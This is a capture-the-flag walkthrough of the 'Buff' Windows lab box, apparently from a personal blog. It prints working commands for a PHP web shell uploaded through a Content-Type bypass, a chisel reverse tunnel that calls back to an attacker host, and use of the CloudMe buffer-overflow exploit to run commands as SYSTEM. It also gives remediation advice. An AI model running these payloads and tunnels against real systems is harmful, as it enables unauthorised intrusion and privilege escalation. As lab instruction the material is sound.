J. Perez Duertojperezduerto.info
← all walkthroughs

Buff

Windows· Easy· Web
owned
2026-07-07
time to own
21m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I identified a Gym Management System 1.0 web application exposed on port 8080 and matched it to a known public exploit (Exploit-DB 48506): the application's file-upload endpoint trusted only my own HTTP Content-Type header, allowing a PHP web shell to be uploaded disguised as an image. That gave unauthenticated remote code execution as the low-privilege local account buff\shaun and immediate access to the user flag. From inside I enumerated active network connections and discovered CloudMe 1.11.2 — a desktop sync utility registered and running under the Windows SYSTEM account — bound exclusively to the local loopback interface on TCP 8888.

Because all outbound download channels were firewall-blocked, the chisel reverse-tunneling binary was smuggled onto the host through the same upload bypass that had delivered the web shell, and a reverse tunnel was opened to expose the CloudMe port to me. The public CloudMe ROP buffer-overflow exploit (CVE-2018-6892 / EDB-48840), adapted to invoke a custom batch script, ran arbitrary commands as SYSTEM, copied the Administrator's flag into the web-accessible upload directory, and completed full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Identified open services and fingerprinted the web application
A service scan revealed port 8080 hosting Apache httpd 2.4.43 with PHP 7.4.6 on a Windows host under XAMPP. The application footer confirmed the running software as Gym Management System 1.0 by Projectworlds — a free PHP application with a well-documented, unauthenticated remote exploit.
Nmap banner: Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6); site footer confirmed Gym Management System 1.0 by Projectworlds.
Exact commands 2
shell

Version and default-script scan of the two open ports.

$ nmap -sV -sC -Pn -p 7680,8080 $TARGET
shell

Confirm application name and version from the page footer.

$ curl -s http://$TARGET:8080/ | grep -i 'projectworlds\|gym management'
2Vulnerability IdentificationPublic exploit research (T1588.005)
Matched the application to a public unauthenticated file-upload exploit
Searching Exploit-DB for 'Gym Management System 1.0' returned EDB-48506. The vulnerability is in upload.php: the server decides whether an uploaded file is a safe image by inspecting only the HTTP Content-Type header submitted by the client, I fully controls. No authentication is required to reach the endpoint.
EDB-48506 confirmed for Gym Management System 1.0; upload.php reachable without authentication at http://$TARGET:8080/upload.php.
Exact commands 2
shell

Locate EDB-48506 in the local Exploit-DB mirror.

$ searchsploit 'Gym Management System 1.0'
shell

Copy the PoC to the working directory and review the endpoint and parameter names.

$ searchsploit -m php/webapps/48506.py
FixReplace Gym Management System 1.0 and enforce real server-side file upload validationCritical
WeaknessThe Gym Management System 1.0 upload endpoint (upload.php) decided whether an uploaded file was a safe image by checking only the HTTP Content-Type header, a value an unauthorised user controls entirely. Any unauthenticated visitor could upload a PHP script labelled as image/png and gain immediate remote code execution on the server with no credentials required.
FixBlock access to upload.php at the web server immediately (deny in the Apache config or remove the file) to stop active exploitation. Replace Gym Management System 1.0 — it has no active vendor support and multiple known critical CVEs — with a maintained product. For any file upload feature in its replacement: (1) inspect the file's actual content on the server using magic-byte detection (PHP's finfo_file or getimagesize for images) and never trust the client-supplied Content-Type; (2) enforce a strict extension allowlist (.jpg, .png, .gif) and reject any filename containing .php, .phtml, .phar, or similar executable extensions; (3) store uploaded files outside the web root or in a subdirectory where PHP execution is explicitly disabled (php_flag engine off in .htaccess or an Apache Directory block); (4) require authentication before any upload is accepted.
3ExploitationUnrestricted file upload — Content-Type bypass (CWE-434 / T1190)
Planted a PHP web shell by spoofing the image Content-Type header
A PHP web shell payload was prefixed with PNG magic bytes so it would pass superficial content inspection, then submitted to upload.php with Content-Type set to image/png. Because the XAMPP Apache installation uses the file's extension to select the PHP handler, a filename ending in .php was executed as PHP regardless of the trailing characters. The web shell exposed operating system commands through a GET parameter named 'telepathy'.
HTTP 200 from upload.php; web shell responded to GET commands at http://$TARGET:8080/upload/cxbuff.php.
Exact commands 2
shell

Build the shell: PNG magic bytes satisfy superficial content checks; .php in the name ensures Apache executes it.

$ printf '\x89PNG\r\n\x1a\n<?php echo shell_exec($_GET["telepathy"]); ?>' > cxbuff.php.png
shell

Upload the shell. The spoofed Content-Type is the only server-side guard.

$ curl -sS -F 'pupload=upload' -F 'file=@cxbuff.php.png;filename=cxbuff.php.png;type=image/png' "http://$TARGET:8080/upload.php"
4FootholdWeb shell command execution (T1505.003)
Confirmed remote code execution as buff\shaun and read the user flag
The uploaded web shell at /upload/cxbuff.php accepted arbitrary OS commands through the telepathy query parameter. The whoami output confirmed execution as buff\shaun — a low-privilege local account. The user flag was read directly from shaun's Desktop with a single web request through the shell.
Curl to /upload/cxbuff.php with telepathy=type C:\Users\shaun\Desktop\user.txt returned the user flag.
Exact commands 2
shell

Confirm execution context; expected output: buff\shaun.

$ curl -m 8 -sS --get --data-urlencode 'telepathy=whoami' "http://$TARGET:8080/upload/cxbuff.php"
buff\shaun
shell

Read the user flag; value is <user.txt>. Tail -c +9 strips the 8-byte PNG magic header prepended to all output.

$ curl -m 8 -sS --get --data-urlencode 'telepathy=type C:\Users\shaun\Desktop\user.txt' "http://$TARGET:8080/upload/cxbuff.php" | tail -c +9 | tr -d '\r'
5Internal DiscoveryInternal network and process enumeration (T1049 / T1057)
Found CloudMe 1.11.2 running as SYSTEM on the loopback interface
Querying active network connections through the web shell revealed an unrecognised process listening on TCP 127.0.0.1:8888, inaccessible from the network. Correlating the PID with the process list named it CloudMe.exe. Shaun's Downloads folder contained the CloudMe 1.11.2 installer. A registry query confirmed the CloudMe Sync service was registered under the Windows SYSTEM account (SID S-1-5-18), meaning any code it executes runs with full local administrative privilege.
CloudMe_1112.exe (16/06/2020) in shaun's Downloads; HKEY_USERS\S-1-5-18\Software\CloudMe\Sync confirmed in registry.
Exact commands 3
shell

Identify the loopback listener and its PID.

$ curl -m 8 -sS --get --data-urlencode 'telepathy=netstat -ano | findstr :8888' "http://$TARGET:8080/upload/cxbuff.php"
shell

Replace 4900 with the PID from the previous step to name the owning process.

$ curl -m 8 -sS --get --data-urlencode 'telepathy=tasklist /fi "PID eq 4900"' "http://$TARGET:8080/upload/cxbuff.php"
shell

Confirm the service is registered under the SYSTEM SID (S-1-5-18).

$ curl -m 8 -sS --get --data-urlencode 'telepathy=reg query "HKEY_USERS\S-1-5-18\Software\CloudMe\Sync"' "http://$TARGET:8080/upload/cxbuff.php"
FixRemove CloudMe from this server and never run desktop sync software as SYSTEMCritical
WeaknessCloudMe 1.11.2 has a publicly known, unpatched stack buffer overflow on its sync port (CVE-2018-6892) that allows any local process — including a low-privilege web shell — to execute arbitrary code in the CloudMe service context. Because the service was registered and runs under the Windows SYSTEM account (S-1-5-18), that code execution is equivalent to full Administrator control over the machine, including unrestricted access to all files.
FixUninstall CloudMe entirely; desktop sync software has no legitimate role on a production web server. Run a vulnerability scanner (Tenable Nessus, OpenVAS, or equivalent) against all installed software on a regular cadence and immediately remediate or remove any application that is end-of-life or carries an unpatched critical CVE. As a standing policy, every Windows service must run under a dedicated least-privilege service account with only the file-system and registry rights it strictly requires — never the built-in SYSTEM, LocalSystem, or a local administrator account. Where a loopback-bound service is genuinely necessary, use Windows Firewall rules to restrict which local process identities may initiate connections to that port.
6TunnelingProtocol tunneling via reverse TCP proxy (T1572)
Delivered a tunnel binary via the upload channel to expose the CloudMe port
Attempts to pull tooling from the internet through the web shell using certutil and PowerShell Invoke-WebRequest consistently failed because outbound HTTP from the target was filtered. The chisel reverse-tunneling binary was instead delivered through the same PNG-spoofing upload bypass that planted the web shell. Triggering the chisel client through the web shell connected it back to my own server, forwarding local port 18888 to the target's loopback 127.0.0.1:8888 and making the CloudMe service reachable for exploitation.
Certutil/IWR outbound attempts timed out silently across multiple retries; chisel-x64.exe uploaded as .exe.png and successfully executed via web shell; chisel server logged inbound R:18888 reverse-tunnel session.
Exact commands 3
shell

Run on my machine first; listens for the reverse connection from the target.

$ chisel server -p 8001 --reverse
shell

Prepend PNG magic bytes to the chisel binary and upload it via the same bypass.

$ printf '\x89PNG\r\n' | cat - /opt/tools/chisel-x64.exe > chisel.exe.png && curl -sS -F 'pupload=upload' -F 'file=@chisel.exe.png;filename=chisel.exe.png;type=image/png' "http://$TARGET:8080/upload.php"
shell

Replace $ATTACKER_IP with your VPN address. The chisel server should log the new R:18888 session immediately.

$ curl -m 30 -sS --get --data-urlencode "telepathy=start /b C:\xampp\htdocs\gym\upload\chisel.exe client $ATTACKER_IP:8001 R:18888:127.0.0.1:8888" "http://$TARGET:8080/upload/cxbuff.php"
7Privilege EscalationStack buffer overflow — ROP chain privilege escalation (CVE-2018-6892 / T1068)
Exploited CloudMe 1.11.2 buffer overflow as SYSTEM and captured the root flag
CloudMe 1.11.2 is vulnerable to an unauthenticated stack buffer overflow sent to its sync port (CVE-2018-6892). The public ROP exploit (EDB-48840) bypasses Windows DEP and ASLR using gadgets from CloudMe's own modules and calls MSVCRT.system() to run an arbitrary command in the CloudMe service context — SYSTEM on this host. The stock payload creating a new admin user was first fired to confirm SYSTEM-level execution (user 'boku' was created). The ROP chain was then rebuilt to invoke a batch script staged on disk via the upload channel; the script copied C:\Users\Administrator\Desktop\root.txt into the web-accessible upload directory, from which it was retrieved over HTTP.
Net user boku … Account active Yes confirmed SYSTEM-level code execution; root.txt retrieved over HTTP from http://$TARGET:8080/upload/root.txt.
Exact commands 4
shell

Copy the CloudMe 1.11.2 ROP PoC to the working directory.

$ searchsploit -m windows/remote/48840.py
shell

Stage the batch script that exfiltrates root.txt into the web root, delivered via the same upload bypass.

$ printf '@echo off\r\ntype C:\\Users\\Administrator\\Desktop\\root.txt > C:\\xampp\\htdocs\\gym\\upload\\root.txt\r\n' > /tmp/r.bat && curl -sS -F 'pupload=upload' -F 'file=@/tmp/r.bat;filename=r.bat.png;type=image/png' "http://$TARGET:8080/upload.php?id=r"
shell

Before running: edit 48840.py to target 127.0.0.1:18888 (the chisel-forwarded port) and set the system() payload to: cmd /c C:\xampp\htdocs\gym\upload\r.bat

$ python2 48840.py
shell

Retrieve the root flag from the web directory; value is <root.txt>.

$ curl -sS "http://$TARGET:8080/upload/root.txt"

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

7680/tcp
8080/tcp